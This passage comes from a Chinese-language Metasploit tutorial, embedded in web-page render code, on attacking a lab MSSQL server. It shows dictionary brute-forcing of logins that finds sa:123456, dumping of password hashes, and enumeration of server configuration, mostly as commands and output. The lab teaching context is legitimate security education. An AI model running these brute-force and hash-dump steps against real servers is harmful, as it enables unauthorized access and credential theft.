passwords, one per line\n RHOSTS yes The target address range or CIDR identifier\n RPORT 1433 yes The target port (TCP)\n STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host\n TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\"\n THREADS 1 yes The number of concurrent threads\n USERNAME no A specific username to authenticate as\n USERPASS_FILE no File containing users and passwords separated by space, one pair per line\n USER_AS_PASS false no Try the username as the password for all users\n USER_FILE no File containing usernames, one per line\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n VERBOSE true yes Whether to print output for all attempts\n\nmsf auxiliary(scanner/mssql/mssql_login) > set RHOSTS 192.168.109.139\nRHOSTS => 192.168.109.139\nmsf auxiliary(scanner/mssql/mssql_login) > run\n\n[*] 192.168.109.139:1433 - 192.168.109.139:1433 - MSSQL - Starting authentication scanner.\n[*] Error: 192.168.109.139: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::MSSQL)\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_login) > \n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br")])]),n("p",[s._v("可以看到登录失败,所以目标数据库的账户和密码不是默认的。")]),s._v(" "),n("p",[s._v("这里,我们继续构造目标数据库的用户名字典和密码字典,分别为:/root/user.txt 和 /root/pass.txt")]),s._v(" "),n("p",[s._v("接下来,我们使用用户名字典和密码字典爆破目标数据库")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_login\nshow options\nset RHOSTS 192.168.109.139\nset USER_FILE /root/user.txt\nset PASS_FILE /root/pass.txt\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/scanner/mssql/mssql_login\nmsf auxiliary(scanner/mssql/mssql_login) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_login):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n BLANK_PASSWORDS false no Try blank passwords for all users\n BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5\n DB_ALL_CREDS false no Try each user/password couple stored in the current database\n DB_ALL_PASS false no Add all passwords in the current database to the list\n DB_ALL_USERS false no Add all users in the current database to the list\n PASSWORD no A specific password to authenticate with\n PASS_FILE no File containing passwords, one per line\n RHOSTS 192.168.109.139 yes The target address range or CIDR identifier\n RPORT 1433 yes The target port (TCP)\n STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n THREADS 1 yes The number of concurrent threads\n USERNAME no A specific username to authenticate as\n USERPASS_FILE no File containing users and passwords separated by space, one pair per line\n USER_AS_PASS false no Try the username as the password for all users\n USER_FILE no File containing usernames, one per line\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n VERBOSE true yes Whether to print output for all attempts\n\nmsf auxiliary(scanner/mssql/mssql_login) > set USER_FILE /root/user.txt\nUSER_FILE => /root/user.txt\nmsf auxiliary(scanner/mssql/mssql_login) > set PASS_FILE /root/pass.txt\nPASS_FILE => /root/pass.txt\nmsf auxiliary(scanner/mssql/mssql_login) > run\n\n[*] 192.168.109.139:1433 - 192.168.109.139:1433 - MSSQL - Starting authentication scanner.\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\xiaoming:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\liuyazhuang:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\jack:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\lyz:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:liu (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:123456 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:3874378 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:Cdmn@339 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:@@@@@ (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:1111 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:236726 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:23473748 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\administrator:223u4343 (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\sa:liuyazhuang (Incorrect: )\n[-] 192.168.109.139:1433 - 192.168.109.139:1433 - LOGIN FAILED: WORKSTATION\\sa:liu (Incorrect: )\n[+] 192.168.109.139:1433 - 192.168.109.139:1433 - Login Successful: WORKSTATION\\sa:123456\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_login) > \n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br"),n("span",{staticClass:"line-number"},[s._v("37")]),n("br"),n("span",{staticClass:"line-number"},[s._v("38")]),n("br"),n("span",{staticClass:"line-number"},[s._v("39")]),n("br"),n("span",{staticClass:"line-number"},[s._v("40")]),n("br"),n("span",{staticClass:"line-number"},[s._v("41")]),n("br"),n("span",{staticClass:"line-number"},[s._v("42")]),n("br"),n("span",{staticClass:"line-number"},[s._v("43")]),n("br"),n("span",{staticClass:"line-number"},[s._v("44")]),n("br"),n("span",{staticClass:"line-number"},[s._v("45")]),n("br"),n("span",{staticClass:"line-number"},[s._v("46")]),n("br"),n("span",{staticClass:"line-number"},[s._v("47")]),n("br"),n("span",{staticClass:"line-number"},[s._v("48")]),n("br"),n("span",{staticClass:"line-number"},[s._v("49")]),n("br"),n("span",{staticClass:"line-number"},[s._v("50")]),n("br"),n("span",{staticClass:"line-number"},[s._v("51")]),n("br"),n("span",{staticClass:"line-number"},[s._v("52")]),n("br"),n("span",{staticClass:"line-number"},[s._v("53")]),n("br"),n("span",{staticClass:"line-number"},[s._v("54")]),n("br"),n("span",{staticClass:"line-number"},[s._v("55")]),n("br"),n("span",{staticClass:"line-number"},[s._v("56")]),n("br"),n("span",{staticClass:"line-number"},[s._v("57")]),n("br"),n("span",{staticClass:"line-number"},[s._v("58")]),n("br"),n("span",{staticClass:"line-number"},[s._v("59")]),n("br"),n("span",{staticClass:"line-number"},[s._v("60")]),n("br"),n("span",{staticClass:"line-number"},[s._v("61")]),n("br"),n("span",{staticClass:"line-number"},[s._v("62")]),n("br"),n("span",{staticClass:"line-number"},[s._v("63")]),n("br"),n("span",{staticClass:"line-number"},[s._v("64")]),n("br"),n("span",{staticClass:"line-number"},[s._v("65")]),n("br"),n("span",{staticClass:"line-number"},[s._v("66")]),n("br"),n("span",{staticClass:"line-number"},[s._v("67")]),n("br"),n("span",{staticClass:"line-number"},[s._v("68")]),n("br"),n("span",{staticClass:"line-number"},[s._v("69")]),n("br"),n("span",{staticClass:"line-number"},[s._v("70")]),n("br"),n("span",{staticClass:"line-number"},[s._v("71")]),n("br"),n("span",{staticClass:"line-number"},[s._v("72")]),n("br"),n("span",{staticClass:"line-number"},[s._v("73")]),n("br"),n("span",{staticClass:"line-number"},[s._v("74")]),n("br"),n("span",{staticClass:"line-number"},[s._v("75")]),n("br"),n("span",{staticClass:"line-number"},[s._v("76")]),n("br"),n("span",{staticClass:"line-number"},[s._v("77")]),n("br"),n("span",{staticClass:"line-number"},[s._v("78")]),n("br"),n("span",{staticClass:"line-number"},[s._v("79")]),n("br"),n("span",{staticClass:"line-number"},[s._v("80")]),n("br"),n("span",{staticClass:"line-number"},[s._v("81")]),n("br"),n("span",{staticClass:"line-number"},[s._v("82")]),n("br"),n("span",{staticClass:"line-number"},[s._v("83")]),n("br"),n("span",{staticClass:"line-number"},[s._v("84")]),n("br"),n("span",{staticClass:"line-number"},[s._v("85")]),n("br"),n("span",{staticClass:"line-number"},[s._v("86")]),n("br"),n("span",{staticClass:"line-number"},[s._v("87")]),n("br"),n("span",{staticClass:"line-number"},[s._v("88")]),n("br"),n("span",{staticClass:"line-number"},[s._v("89")]),n("br")])]),n("p",[s._v("可以看到目标数据库的用户名为sa,密码为123456")]),s._v(" "),n("h2",{attrs:{id:"查找-捕获服务器的口令"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#查找-捕获服务器的口令"}},[s._v("#")]),s._v(" 查找/捕获服务器的口令")]),s._v(" "),n("p",[s._v("这里,用到的是Metasploit的mssql_hashdump模块。")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/scanner/mssql/mssql_hashdump\nshow options\nset RHOSTS 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf auxiliary(scanner/mssql/mssql_login) > use auxiliary/scanner/mssql/mssql_hashdump \nmsf auxiliary(scanner/mssql/mssql_hashdump) > show options\n\nModule options (auxiliary/scanner/mssql/mssql_hashdump):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOSTS yes The target address range or CIDR identifier\n RPORT 1433 yes The target port (TCP)\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n THREADS 1 yes The number of concurrent threads\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(scanner/mssql/mssql_hashdump) > set RHOSTS 192.168.109.139\nRHOSTS => 192.168.109.139\nmsf auxiliary(scanner/mssql/mssql_hashdump) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(scanner/mssql/mssql_hashdump) > run\n\n[*] 192.168.109.139:1433 - Instance Name: nil\n[+] 192.168.109.139:1433 - Saving mssql05 = sa:0100803a5accdbbe36fd02ade28e2e4ed463f311238ab3410a92\n[+] 192.168.109.139:1433 - Saving mssql05 = ##MS_PolicyTsqlExecutionLogin##:0100ab666dffdfa0f0ce5d9dc217abc8b87bface1efda74dba9c\n[+] 192.168.109.139:1433 - Saving mssql05 = ##MS_PolicyEventProcessingLogin##:0100ad950534143cd9e69553cd7715b5d0b68c54032124ee8992\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_hashdump) > \n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br")])]),n("p",[s._v("接下来,我们就可以使用其他工具爆破这些密码了。")]),s._v(" "),n("h2",{attrs:{id:"浏览mssql"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#浏览mssql"}},[s._v("#")]),s._v(" 浏览MSSQL")]),s._v(" "),n("p",[s._v("这里用到的是Metasploit的mssql_enum模块。")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/admin/mssql/mssql_enum\nshow options\nset RHOST 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/admin/mssql/mssql_enum\nmsf auxiliary(admin/mssql/mssql_enum) > show options\n\nModule options (auxiliary/admin/mssql/mssql_enum):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOST yes The target address\n RPORT 1433 yes The target port (TCP)\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(admin/mssql/mssql_enum) > set RHOST 192.168.109.139\nRHOST => 192.168.109.139\nmsf auxiliary(admin/mssql/mssql_enum) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(admin/mssql/mssql_enum) > run\n\n[*] 192.168.109.139:1433 - Running MS SQL Server Enumeration...\n[*] 192.168.109.139:1433 - Version:\n[*] Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) \n[*] Jun 28 2012 08:36:30 \n[*] Copyright (c) Microsoft Corporation\n[*] Express Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)\n[*] 192.168.109.139:1433 - Configuration Parameters:\n[*] 192.168.109.139:1433 - C2 Audit Mode is Not Enabled\n[*] 192.168.109.139:1433 - xp_cmdshell is Enabled\n[*] 192.168.109.139:1433 - remote access is Enabled\n[*] 192.168.109.139:1433 - allow updates is Not Enabled\n[*] 192.168.109.139:1433 - Database Mail XPs is Not Enabled\n[*] 192.168.109.139:1433 - Ole Automation Procedures are Not Enabled\n[*] 192.168.109.139:1433 - Databases on the server:\n[*] 192.168.109.139:1433 - Database name:master\n[*] 192.168.109.139:1433 - Database Files for master:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\master.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\mastlog.ldf\n[*] 192.168.109.139:1433 - Database name:tempdb\n[*] 192.168.109.139:1433 - Database Files for tempdb:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\tempdb.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\templog.ldf\n[*] 192.168.109.139:1433 - Database name:model\n[*] 192.168.109.139:1433 - Database Files for model:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\model.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\modellog.ldf\n[*] 192.168.109.139:1433 - Database name:msdb\n[*] 192.168.109.139:1433 - Database Files for msdb:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\MSDBData.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\MSDBLog.ldf\n[*] 192.168.109.139:1433 - System Logins on this Server:\n[*] 192.168.109.139:1433 - sa\n[*] 192.168.109.139:1433 - ##MS_SQLResourceSigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_SQLReplicationSigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_SQLAuthenticatorCertificate##\n[*] 192.168.109.139:1433 - ##MS_PolicySigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_SmoExtendedSigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_PolicyTsqlExecutionLogin##\n[*] 192.168.109.139:1433 - NT AUTHORITY\\SYSTEM\n[*] 192.168.109.139:1433 - NT SERVICE\\MSSQLSERVER\n[*] 192.168.109.139:1433 - liuyazhuang-PC\\liuyazhuang\n[*] 192.168.109.139:1433 - BUILTIN\\Users\n[*] 192.168.109.139:1433 - ##MS_PolicyEventProcessingLogin##\n[*] 192.168.109.139:1433 - ##MS_AgentSigningCertificate##\n[*] 192.168.109.139:1433 - Disabled Accounts:\n[*] 192.168.109.139:1433 - ##MS_PolicyTsqlExecutionLogin##\n[*] 192.168.109.139:1433 - ##MS_PolicyEventProcessingLogin##\n[*] 192.168.109.139:1433 - No Accounts Policy is set for:\n[*] 192.168.109.139:1433 - All System Accounts have the Windows Account Policy Applied to them.\n[*] 192.168.109.139:1433 - Password Expiration is not checked for:\n[*] 192.168.109.139:1433 - sa\n[*] 192.168.109.139:1433 - ##MS_PolicyTsqlExecutionLogin##\n[*] 192.168.109.139:1433 - ##MS_PolicyEventProcessingLogin##\n[*] 192.168.109.139:1433 - System Admin Logins on this Server:\n[*] 192.168.109.139:1433 - sa\n[*] 192.168.109.139:1433 - NT AUTHORITY\\SYSTEM\n[*] 192.168.109.139:1433 - NT SERVICE\\MSSQLSERVER\n[*] 192.168.109.139:1433 - liuyazhuang-PC\\liuyazhuang\n[*] 192.168.109.139:1433 - Windows Logins on this Server:\n[*] 192.168.109.139:1433 - NT AUTHORITY\\SYSTEM\n[*] 192.168.109.139:1433 - liuyazhuang-PC\\liuyazhuang\n[*] 192.168.109.139:1433 - Windows Groups that can logins on this Server:\n[*] 192.168.109.139:1433 - NT SERVICE\\MSSQLSERVER\n[*] 192.168.109.139:1433 - BUILTIN\\Users\n[*] 192.168.109.139:1433 - 